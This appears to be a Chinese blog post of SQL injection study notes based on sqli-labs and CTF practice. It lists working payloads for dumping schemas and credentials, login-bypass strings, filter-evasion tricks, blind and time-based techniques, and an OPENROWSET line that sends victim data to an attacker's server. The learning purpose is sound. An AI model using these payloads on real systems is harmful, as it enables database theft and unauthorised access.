logo头像

黑客的本质就是白嫖

SQL注入学习笔记

本文于 774 天之前发表,文中内容可能已经过时。

0x00 前言

一直都没有认真学过web里面的各种东西,趁着这次暑假留校,打算把大致的东西都慢慢学一遍,首先是SQL注入

0x01 SQL注入介绍

个人的理解就是,后端代码对用户的输入没有进行有效的过滤,导致在sql查询时运行了用户输入的恶意代码,从而数据泄露
例如这个最简单的例子

$id = $GET['id'];
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";

上述语句通过GET获得用户传输过来的数据之后,没有任何过滤,直接将其放入了查询语句中,而这时用户便可通过输入恶意语句,如1 union select database()#来获取敏感信息。

0x02 各种知识

sql1
这是sqli-labs上的第一题,可以看到源码没有对GET的参数进行任何过滤,这是如果id=1'时会得到以下报错
sql2

limit

这里limit的用法个人不是很清楚,所以学习了一波 #
limit语句接受两个参数,第一个参数为查询到的数据开始的行数,第二个参数为返回数据行的最大个数(可省略);这里的limit 0,1意思是,查询之后,返回查询结果的第0行,且只返回一行
这里最后的的payload为

?id=0' union select 1,group_concat(char(32),username,char(32)),group_concat(char(32),password,char(32))  from users%23

这里涉及到了两个我不是很懂的地方,一个是注释,一个是group_concat()

注释(#,%23,–+ ……)

以前我一直认为,注释是把后端代码的后半部分给注释掉,现在自己试了一下将查询语句输出,结果发现,这里的注释应该是在查询时,也就是进行数据库操作时的注释,如图
sql3
这里我把代码里的sql查询语句输出了,正常是看不到的,可以看到,在$sql这个变量里,注释符号依旧是存在的,怪不得我之前一直纠结如果要注释的话不是要用双引号把查询语句外面的双引号给闭合吗?而在代码那里可以看到,id变量是整个都被放在了单引号里,所以虽说可以闭合前面的双引号,但是无论如何后面还会有一个单引号等着,再加上会有如limit之类的代码存在干扰结果,所以比较好的处理办法就是把后面的全注释掉,只留下自己想要的部分。
最后补上sql查询语句里注释的各种形式:
%23(#)
– (通常使用为–+,+代表空格)
/**/ 行内注释的情况

注:可能会存在注释符被过滤的情况,此时可以用+来绕过,具体原理是a’+0+’b,中间的0表示条件为假,具体解释可以看这个链接

group_concat()

这个函数的大致用法我清楚一点,但是涉及到细致一点的操作就不行了
一个参数的情况,首先,当页面只有一个回显点或者说回显点不够时我们需要用到这个函数,如果只给一个参数,比如说给的是某一列的名称,它会将这一列的所有数据放在一起用逗号隔开输出,这样就达到了只需要一个回显点便能看到很多数据的功能
多个参数的情况,老实说我之前没用过这个功能,学习一波,emmmmm,貌似和一个参数的情况一样,不过就是会把每个参数的同一行合并起来再输出

引号绕过

通常在WHERE语句中会需要用到引号绕过,引号绕过有两种方法,一种是采用16进制,如user->0x75736572,另一种是使用CHAR()函数,如user->CHAR(75,73,65,72)

union语句

union语句算是用的比较多的了,但是有一点一直没有在意,就是union语句使用时,两个查询的列数与列的数据类型必须相同

order by语句

查询列的字段数

宽字节注入

利用的是GBK编码会将两个字符识别成一个宽字符,如输入%bf%27时,后端代码自动将单引号%27转义成\'的形式,这样总的字符就是%bf%5c%27,而%bf%5c会被识别成宽字符,这样就有了单引号,而有了单引号注入就容易多了

后台万能密码
  • admin'--
  • admin' #
  • admin'/*
  • ' or 1=1--
  • ' or 1=1#
  • ' or 1=1/*
  • ') or '1'='1--
  • ') or ('1'='1--
information_schema

在盲注中经常用到的,常用的几个是

sql4
图片引用自hammer’s blog

注入语句备忘

数据库名

id=-1' union select 1,2,3,database()#

表名

id=-1' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database()#

字段名

id=-1' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name=0x666c3467#

查询

id=-1' union select 1,2,3,column_name from table_name#

此处id=-1是因为只有一个回显点但是要执行两个查询语句,所以把第一个查询语句的查询字段换成不存在的值-1,这样回显点就会显示第二条查询语句的结果了

盲注常用函数

通常在爆破数据时需要用到,通过函数截取字符串,一个一个比较爆破

  • substr(string,start,length)
    string - 指定要截取的字符串
    start - 必需,规定在字符串的何处开始。

    • 正数
      在字符串的指定位置开始
    • 负数
      从字符串结尾的指定位置开始
    • 0
      从字符串的第一个字符处开始

    length - 可选,指定要截取的字符串长度,缺省时返回字符表达式的值结束前的全部字符

  • mid(column_name,start,length)
    使用方法与substr()差不多
    需要注意的是:字符串从1开始,而非0,此函数为MYSQL函数

  • limit
    limit用于返回指定某几条数据,有两个参数,也可只传一个
    当参数为两个时,第一个参数表示开始的行数(注:第一行为0),第二个参数并表示返回数据的条数;
    当参数只有一个时,默认从第0行开始检索,此时参数表示返回的数据条数
    也可用作 limit a offset b,此时返回第b行开始的a行

  • left(string,length)
    string - 要截取的字符串
    length - 截取的长度
    此函数用于截取从指定字符串最左边开始的length长度的字符串

注:某些情况下,函数里需要用到的逗号会被过滤,此时可以通过使用 from 开始位置 for 长度来绕过, limit中可用 offset来绕过,如下

mid(user() from 1 for 1)
substr(user() from 1 for 1)
select substr(user()from -1) from yz ;
select ascii(substr(user() from 1 for 1)) < 150;

同时也可以利用替换函数
select left(database(),2)>'tf';

/*limit*/
selete * from testtable limit 2,1;//改为
selete * from testtable limit 2 offset 1;
空格绕过

常用的绕过有
/**/ - 注释
%0a - 回车
() - 括号,sql语句中用来包围子查询的
/*!*/
%20 - 空格
%09 - tab
%0b %0c %0d
%a0
%00 - 00截断

with rollup(一般结合group by使用)

iscc线下赛的时候被打爆,同校vidar的成员说某一题可以通过 with roll up来绕过,遂学习一波
细节

mysql> create table test (
-> user varchar(100) not null,
-> pwd varchar(100) not null);  
mysql>insert into test values("admin","mypass");
mysql>select * from test group by pwd with rollup
mysql> select * from test group by pwd with rollup;
+-------+------------+
| user  | pwd        |
+-------+------------+
| guest | alsomypass |
| admin | mypass     |
| admin | NULL       |
+-------+------------+
3 rows in set   

mysql> select * from test group by pwd with rollup limit 1;
+-------+------------+
| user  | pwd        |
+-------+------------+
| guest | alsomypass |
+-------+------------+
mysql> select * from test group by pwd with rollup limit 1 offset 0;
+-------+------------+
| user  | pwd        |
+-------+------------+
| guest | alsomypass |
+-------+------------+
1 row in set
mysql> select * from test group by pwd with rollup limit 1 offset 1;
+-------+--------+
| user  | pwd    |
+-------+--------+
| admin | mypass |
+-------+--------+
1 row in set
mysql> select * from test group by pwd with rollup limit 1 offset 2
;
+-------+------+
| user  | pwd  |
+-------+------+
| admin | NULL |
+-------+------+
1 row in set 
比较符(<,>)绕过

其实我就没用过比较符注入,主要是自己还太菜了,之前都不知道这种东西,就像上面的 with rollup一样。
比较符注入应该是用于盲注的时候,比较得出目标字符串的长度、每一位是什么之类的。
而当比较符被过滤时,可以使用 greatest,strcmp,in,between,order by来绕过

堆叠查询

闭合查询后在后面接上一个 ; ,之后再跟自己的查询语句,相当于是另起一个查询语句,这样自己的查询限制会比用 union 少一些

0x03 盲注学习

盲注一直是我的一个痛点,虽然从刚接触web到现在一直都有听人说到过盲注,但自己一直都不太了解这种注入,趁着这次机会,把盲注的相关知识了解一下。

何为盲注

盲注,顾名思义,就是看不见的注入,这里的看不见是指页面不会返回注入的结果,基本上只有成功或错误的提示。

如图所示,
blind1
这是sqli-lab上的一题盲注,当我们输入id=1时会显示You are in……
但是当我们输入一个错误的数据,如id=99又或是构造一个永假语句时,回显就消失了,我们也看不到注入的结果
blind2
blind3
盲注就是利用页面对于输入的查询的值的真假返回值不同的特性来实现的

如何寻找
  • 强制产生通用错误
    如上面所说的条件真值不同时回显不同

  • 注入带副作用的查询
    常见的有MySql的 sleep()函数(MySql5.0.12以上版本特有),或者Microsoft SQL Server的 waitfor delay '0:0:5',又或8.2版本以上的PostgreSQL的 pg_sleep()函数,只要是能产生我们能观察到的结果的代码即可

  • 拆分与平衡(利用子查询)
    我看的资料了大致是这样说的,通过将合法的数据拆分,再在其中插入相应的子查询,如图所示五条查询全部等价
    child

  • 常见页面
    • 提交一个导致SQL查询无效的漏洞时会返回一个通用的错误页面,而提交正确的SQL时会返回一个内容可被适度控制的页面
    • 提交一个导致SQL查询无效的漏洞时会返回一个通用的错误页面,而提交正确的SQL时会返回一个内容不可控的页面
    • 提交受损或不正确的SQL既不会产生错误页面,也不会以任何方式影响页面输出,这种场景较适合使用基于时间的漏洞或产生带外副作用的漏洞
类型
  • 基于时间的盲注
    通常会用到 sleep()函数(MySql5.0.12以上版本特有),例子如下

    select count(*) from usertable where id='1' union select if(substring(user(),1,4)='root',sleep(5),1)#  
    

    此语句用于判断当前用户是否为超级用户,这里用到的if()函数的标准用法是这样的

    IF(expr1,expr2,expr3)  
    

    如果expr1是正确即真值为1的,则返回expr2,否则返回expr3

  • 基于响应的盲注
    即基于查询语句的真假不同,页面返回的内容不同的注入技术。
    与基于时间的盲注差不多,不过不用自己再加上一个特殊的函数如sleep()来判断语句是否为真。
  • 非主流通道(一种神奇的技术——OPENROWSET())
    使用这种技术的前提:服务器为Microsoft SQL Server,攻击者要能在服务器机器上打开一条通向自身数据库的TCP连接,默认端口是1433.
    之后注入语句为:

    select * from openrowset('sqloledb','network=DBMSSOCN;Address=10.0.0.1;uid=aaa;pwd=passwd','select username from users')  
    

    这里我们作为aaa用户连接到地址为10.0.0.1的SQL Server数据库即攻击者的数据库上并执行select username from users ,但是这里代码是受害者连接到我们自己服务器上并在自己数据库上执行查询,我们也能通过使用insert语句将受害者的数据库信息插入到我们自己的数据库中,具体操作就是在openrowset函数后加上我们需要的查询语句,并将函数中的查询语句换成select * from tablename,当然开头的select要换成insert了

    利用

    盲注的利用一般都要通过脚本一个一个爆破诸如数据库名、字段名、字段值等信息

0x04 UPDATE 2019/03/11

union注入中,两个联合的查询列数与每列的类型必须相同,在不清楚每列的数据类型时,可以用NULL来代替列名,因为在SQL中,NULL可以被转换成各种数据类型,同样也可以用添加NULL的方法来确定表的列数

在没有办法获取注入结果的时候,可以使用以下方式将查询数据发送到外部计算机:

  • MS-SQL 使用openrowset函数
  • Oracle 使用UTL_HTTPUTL_INADDRUTL_SMTPUTL_TCP
  • MySql into outfile

使用一个语法有效但如果求值就会生成错误的表达式作为列名,如1/0,这样可以通过是否发生错误来判断where子句中的条件是否为真,为真则报错,为假则不报错

基于时间的盲注中:

  • MySQl版本低于5.0.12时不能调用sleep()函数,这时可以通过使用基准函数benchmark重复一个特定的操作如求SHA-1散列来造成时间延迟,具体语句为benchmark(50000,sha1('test'))
  • Oracle数据库中,可以使用UTL_HTTP连接一个不存在的主机从而超时来造成时间延迟

参考资料:
https://webdog.top/sqli-blog/
http://p0sec.net/index.php/archives/106/
https://blog.csdn.net/qq_35078631/article/details/54772798
https://blog.csdn.net/qq_31481187/article/details/59727015

评论系统未开启,无法评论!